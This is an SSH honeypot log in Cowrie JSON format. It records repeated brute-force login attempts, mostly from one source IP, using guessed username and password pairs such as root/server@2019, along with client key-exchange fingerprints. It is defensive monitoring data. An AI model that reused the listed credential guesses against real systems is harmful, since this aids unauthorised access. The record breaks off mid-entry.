{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":50122,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0306c54e4c8","protocol":"ssh","message":"New connection: 81.91.233.66:50122 (10.17.0.5:22) [session: d0306c54e4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:19.986554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:19.990821Z","src_ip":"81.91.233.66","session":"d0306c54e4c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:20.242789Z","src_ip":"81.91.233.66","session":"d0306c54e4c8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:20.938119Z","src_ip":"8.210.75.243","session":"1653a5ea39d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2016","message":"login attempt [user2/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:21.285957Z","src_ip":"81.91.233.66","session":"d0306c54e4c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:21.771531Z","src_ip":"81.91.233.66","session":"d0306c54e4c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":50245,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f984a159de5","protocol":"ssh","message":"New connection: 81.91.233.66:50245 (10.17.0.5:22) [session: 5f984a159de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:22.030647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:22.034817Z","src_ip":"81.91.233.66","session":"5f984a159de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:22.283233Z","src_ip":"81.91.233.66","session":"5f984a159de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:22.404095Z","src_ip":"8.210.75.243","session":"1653a5ea39d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2019","message":"login attempt [root/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:23.312005Z","src_ip":"81.91.233.66","session":"5f984a159de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:23.803463Z","src_ip":"81.91.233.66","session":"5f984a159de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":50366,"dst_ip":"10.17.0.5","dst_port":22,"session":"6523a691ed9e","protocol":"ssh","message":"New connection: 81.91.233.66:50366 (10.17.0.5:22) [session: 6523a691ed9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:24.064064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:24.068075Z","src_ip":"81.91.233.66","session":"6523a691ed9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:24.316209Z","src_ip":"81.91.233.66","session":"6523a691ed9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2019","message":"login attempt [admin/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:25.340947Z","src_ip":"81.91.233.66","session":"6523a691ed9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:25.820345Z","src_ip":"81.91.233.66","session":"6523a691ed9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":50499,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce86c9b128a8","protocol":"ssh","message":"New connection: 81.91.233.66:50499 (10.17.0.5:22) [session: ce86c9b128a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:26.078140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:26.081920Z","src_ip":"81.91.233.66","session":"ce86c9b128a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:26.328608Z","src_ip":"81.91.233.66","session":"ce86c9b128a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2019","message":"login attempt [user/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:27.349107Z","src_ip":"81.91.233.66","session":"ce86c9b128a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:27.835404Z","src_ip":"81.91.233.66","session":"ce86c9b128a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":36900,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b4e206ee497","protocol":"ssh","message":"New connection: 152.67.46.203:36900 (10.17.0.5:22) [session: 0b4e206ee497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:27.863719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:27.867207Z","src_ip":"152.67.46.203","session":"0b4e206ee497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:27.979698Z","src_ip":"152.67.46.203","session":"0b4e206ee497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":50615,"dst_ip":"10.17.0.5","dst_port":22,"session":"574537ae7190","protocol":"ssh","message":"New connection: 81.91.233.66:50615 (10.17.0.5:22) [session: 574537ae7190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:28.108664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:28.111323Z","src_ip":"81.91.233.66","session":"574537ae7190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:28.364132Z","src_ip":"81.91.233.66","session":"574537ae7190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13245","message":"login attempt [root/13245] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:28.464302Z","src_ip":"152.67.46.203","session":"0b4e206ee497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2019","message":"login attempt [user2/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:29.411445Z","src_ip":"81.91.233.66","session":"574537ae7190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:29.580048Z","src_ip":"152.67.46.203","session":"0b4e206ee497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:29.899938Z","src_ip":"81.91.233.66","session":"574537ae7190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":50722,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc974f895b1a","protocol":"ssh","message":"New connection: 81.91.233.66:50722 (10.17.0.5:22) [session: dc974f895b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:30.153764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:30.159668Z","src_ip":"81.91.233.66","session":"dc974f895b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:30.407341Z","src_ip":"81.91.233.66","session":"dc974f895b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2021","message":"login attempt [root/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:31.425908Z","src_ip":"81.91.233.66","session":"dc974f895b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:31.913898Z","src_ip":"81.91.233.66","session":"dc974f895b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":50841,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c8f8480db34","protocol":"ssh","message":"New connection: 81.91.233.66:50841 (10.17.0.5:22) [session: 8c8f8480db34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:32.177420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:32.180977Z","src_ip":"81.91.233.66","session":"8c8f8480db34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:32.428604Z","src_ip":"81.91.233.66","session":"8c8f8480db34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2021","message":"login attempt [admin/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:33.450353Z","src_ip":"81.91.233.66","session":"8c8f8480db34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:33.935593Z","src_ip":"81.91.233.66","session":"8c8f8480db34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":50951,"dst_ip":"10.17.0.5","dst_port":22,"session":"617452ca5504","protocol":"ssh","message":"New connection: 81.91.233.66:50951 (10.17.0.5:22) [session: 617452ca5504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:34.195037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:34.200901Z","src_ip":"81.91.233.66","session":"617452ca5504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS